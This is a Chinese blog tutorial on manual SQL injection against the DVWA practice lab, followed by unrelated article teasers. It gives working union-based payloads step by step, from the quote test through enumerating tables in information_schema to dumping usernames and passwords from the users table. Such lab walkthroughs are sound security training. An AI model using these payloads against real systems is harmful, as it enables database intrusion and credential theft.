sql手工注入dvwa靶场

news2024/11/30 6:38:40

sql手工注入dvwa靶场

记录一下自己重新开始学习web安全之路④。

一、找交互点(url、搜索框、登录框)

在dvwa靶场中,发现有url,有搜索框。

二、找注入点(通过 ’ 号来判断)


思考一:为什么能通过 ’ 号能判断是否为注入点?

正常情况下: 加上单引号之后:

int类型 整型 where id = 2 int类型 整型 where id = 2 ’

char类型 字符型 where id = ‘2’ char类型 字符型 where id = ‘2’’


在搜索框中输入1’ , 发现回显不正常,且提示有sql语句的错误。

1

三、判断注入类型(①int型、②char型)

分别在交互点输入 1 and 1=1 1 and 1=2
真 与 真 真 与 假

如果两次回显结果一样,则是char类型 ;

如果两次回显不一样,则是int类型 ;


思考二:为什么两次回显结果一样就是char类型,不一样就是int类型?

char类型在带入数据库时会自动加上’ ’ ,并没有执行and语句,而是全部转换为了字符串。‘1 and 1=1’、‘1 and 1=2’


2

3

通过判断,发现该注入类型为char类型。


思考三:为什么要先判断注入类型?

一、因为如果是整数型类型,用字符型的代码去注入会失败,且在判断列数时,输入的整数型代码,不管判断多少列都会回显正常。

二、字符类型的在注入时,会加 ’ 单引号闭合,注释符 # 或者 --+ 注释。

判断注入类型这决定了如何来构造后面的sql语句


思考四:为什么要加 ’ 单引号闭合,注释符注释?

因为是字符型,有两个单引号 ’ ’ ,我们加 ’ 单引号是为了闭合最前面的单引号,加注释符注释后面的那个单引号,这样就能执行我们所构造的sql语句。

例如:1’ order by 2#, 实际是’ 1 ’ order by 2#’

井号后面的单引号被注释掉了。


四、判断列数(order by、二分法)

1’ order by 2#

5

五、查看回显位置(union 联合 select查询)

1’ and 1=2 union select 1,2#

1’ //单引号是为了闭合前面的那个 ’ 单引号

and 1=2 //这是一个逻辑错误,1不可能=2,是为了避免一些只显示一行的页面过滤掉后面的联合查询的数据,所以让前面的查询条件永远为错。

union //union就是合并操作,完整语义就是使用union合并两个select的结果集,前者为空,后者结果为1,2,3,4,5,所以就会把这些结果合并然后显示到对应的字段。如果前半句为假,则只执行后半句。所以为什么要and 1=2.

在这里插入图片描述


思考五:为什么要查看回显位置?

在web上访问一个网站时,并不是所有信息都会反馈到屏幕上,显示的信息即回显;数据库中同理,并不是所有的select语句都会将结果显示在屏幕上。

因此,我们为了能够在屏幕上看到我们输入的select语句的结果反馈,需要判断回显位置。


六、查看数据库名称(dvwa)

1’ and 1=2 union select database(),2#

1’ //单引号了为了闭合前面的单引号

and1=2 //让逻辑错误,执行union 的后半段

union select database(),2# //查询database()数据库名称

6

七、查看数据表名称(guestbook、users)

1’ and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=‘dvwa’#

group_concat(table_name) //以group组形式查表名,然后用concat拼接。

table_name,2 from information_schema.tables //从数据库的所有表中查找

where table_schema=‘dvwa’# //从dvwa的数据库中,table_schema对应的是数据库名称

即从dvwa的数据库中,找所有数据表的名称

7

八、查看数据列名称()

写法一(正常写法):1’ and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’#

8

写法二(偷懒写法):1’ and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_name=‘users’#

9

九、查看数据

1’ and 1=2 union select concat(user,‘—’,password),2 from users#

10

11

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/344508.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

响应式圣经:10W字,实现Spring响应式编程自由

前言 全链路异步化改造的基础是响应式编程 随着业务的发展,微服务应用的流量越来越大,使用到的资源也越来越多。 在微服务架构下,大量的应用都是 SpringCloud 分布式架构,这种架构总体上是全链路同步模式。 全链路同步模式不仅…

膳食锌缺乏或过量对人体肠道菌群及健康的影响

谷禾健康 锌与肠道微生物 锌(Zn)是人体必需的微量元素,是人体中第二丰富的矿物质。锌在细胞和器官功能中起着关键的催化、调节和结构作用。 ★ 膳食锌缺乏或过量均不健康 锌缺乏与发育不良、免疫功能低下、味觉丧失、不良妊娠结局、脱发、皮肤损伤和神经行为异常有关…

数据结构 | 树 | 二叉树

🔥Go for it!🔥 📝个人主页:按键难防 📫 如果文章知识点有错误的地方,请指正!和大家一起学习,一起进步👀 📖系列专栏:数据结构与算法 &#x1f52…

windows本地开发Spark[不开虚拟机]

1. windows本地安装hadoop hadoop 官网下载 hadoop2.9.1版本 1.1 解压缩至C:\XX\XX\hadoop-2.9.1 1.2 下载动态链接库和工具库 1.3 将文件winutils.exe放在目录C:\XX\XX\hadoop-2.9.1\bin下 1.4 将文件hadoop.dll放在目录C:\XX\XX\hadoop-2.9.1\bin下 1.5 将文件hadoop.dl…

Redis学习【5】之集合的底层实现原理

文章目录一 集合的底层实现原理1.1 两种实现的选择1.2 zipList【存在于Redis7.0之前的版本】1.3 listPack【Redis7.0中zipList的改进版】1.4 skipList1.4.1 skipList 原理1.4.2 skipList存在的问题与优化1.5 quickList1.5.1 quitList检索操作1.5.2 quitList插入操作1.5.3 quitL…

知识图谱概述

知识图谱 知识图谱本质上是一种大规模的语义网络,富含实体、概念及其之间的各种语义关系。 作为一种语义网络是大数据时代知识表示的重要方式之一。 作为一种技术体系,是大数据时代知识工程代表性进展。 领域知识图谱 领 域(行业&#xf…

一篇文章带你熟练使用Ansible中的playbook

目录 一、Playbook的功能 二、YAML 1、简介 2、特点 3、语法简介 4、YAML 列表 5、YAML的字典 三、playbook执行命令 四、 Playbook的核心组件 五、vim 设定技巧 练习 一、Playbook的功能 playbook 是由一个或多个play组成的列表 Playboot 文件使用YAML来写的 二、…

Mysql5.7安装【Windows版】

文章目录一、下载二、添加到环境变量三、添加配置文件my.ini四、安装Mysql 修改密码一、下载 下载地址 滑倒最下面有一个MySQL Community Server 选择要下载的版本 二、添加到环境变量 下载好了之后开始解压 把bin目录添加到环境变量 可以点击进入bin目录,直接复…

低代码平台真的是企业的福音吗?

研究低代码平台已有3年,也算是个低代码资深用户了,下面基于个人理解给大家做一份2k字的深入介绍!希望对大家在低代码方面有一定帮助。 开篇,先带大家来看企业为什么要布局低代码平台!究竟有何优势? &…

认识钉钉小程序_搭建一个简单的小程序---钉钉小程序开发教程001

其实这里面开发的时候具体,应该有很多的坑,不过..因为暂时不需要具体做,我仅仅查了一下怎么做,记录一下,以后不用再查了. 感觉钉钉小程序开发比微信小程序开发要更便捷,简单一些.首先要注册一个开发者,其实登录上钉钉账号就可以了.然后可以看看,快速入门,我没看 然后下载开发工…

Java基础之多线程JUC全面学习笔记

目录初识多线程多线程的实现方式常见的成员方法线程安全的问题死锁生产者和消费者线程池自定义线程池初识多线程 什么是多线程? 线程 线程是操作系统能够进行运算调度的最小单位。线程被包含在进程之中,是进程中的实际运作单位。 简单理解:应用软件中互相独立&…

为什么西门子、美的等企业这样进行架构升级,看看改造效果就知道了

在工业领域, 生产、测试、运行阶段都可能会产生大量带有时间戳的传感器数据,这都属于典型的时序数据。时序数据主要由各类型实时监测、检查与分析设备所采集或产生,涉及制造、电力、化工、工程作业等多个行业,具备写多读少、量非常…

从端到端打通模型端侧部署流程(NCNN)

文章目录背景介绍:为什么要做端侧推理:端侧深度学习部署流程:一条主要技术路线:ONNX:NCNN框架:NCNN的官方介绍:NCNN问题解决:NCNN使用样例快速在NCNN框架下验证自己的模型&#xff1…

数据分析思维(六)|循环/闭环思维

循环/闭环思维 1、概念 在很多的分析场景下,我们需要按照一套流程反复分析,而不是进行一次性的分析,也就是说这套流程的结果会成为该流程的新一次输入,从而形成一个闭环,此时的分析思维我们称之为循环/闭环思维。 常…

计算机断层扫描结肠镜和全自动骨密度仪在一次检查中的可行性

计算机断层扫描结肠镜和全自动骨密度仪在一次检查中的可行性 Feasibility of Simultaneous Computed Tomographic Colonography and Fully Automated Bone Mineral Densitometry in a Single Examination 简单总结: 数据:患者的结肠镜检查和腹部CT检查…

2022黑马Redis跟学笔记.实战篇(三)

2022黑马Redis跟学笔记.实战篇 三4.2.商家查询的缓存功能4.3.1.认识缓存4.3.1.1.什么是缓存4.3.1.2.缓存的作用1.为什么要使用缓存2.如何使用缓存3. 添加商户缓存4. 缓存模型和思路4.3.1.3.缓存的成本4.3.2.添加redis缓存4.3.3.缓存更新策略4.3.3.1.三种策略(1).内存淘汰:Redis…

NoSQL和Redis

NoSQL一、NoSqlNoSQL Not Only SQL(不仅仅是SQL)非关系型数据库二、为什么需要NoSQL1、web1.0在90年代,一个网站的访问量一般都不大,用单个数据库完全可以轻松应付。在那个时候,更多的都是静态网页,动态交互类型的网站不多。单机…

CS224W课程学习笔记(一):课程介绍与图深度学习概念

引言 我们从怎么利用图形或网络表示数据这一动机开始。网络成为了用于描述复杂系统中交互实体的通用语言。从图片上讲,与其认为我们的数据集由一组孤立的数据点组成,不如考虑这些点之间的相互作用和关系。 在不同种类的网络之间进行哲学上的区分是有启…

系统功能设计:教育缴费平台产品需求文档

教育缴费系统后台能够支撑前端业务,查询所需字段,为支撑前端业务提供服务,支持学校分校管理、班级分班管理、账单撤回及强制结束等功能。为了将教育缴费的需求清晰准确地描述清楚,本文作者编写了这个产品需求文档,一起…

Jmeter自带函数不够用?不如自己动手开发一个

在Jmeter的函数助手里,有很多内置的函数,比如Random、UUID、time等等。使用这些函数可以快速帮我们生成某些数据,进行一些逻辑处理。用起来非常的方便。 但是在实际接口测试过程中,有很多的需求,Jmeter内置的函数可能…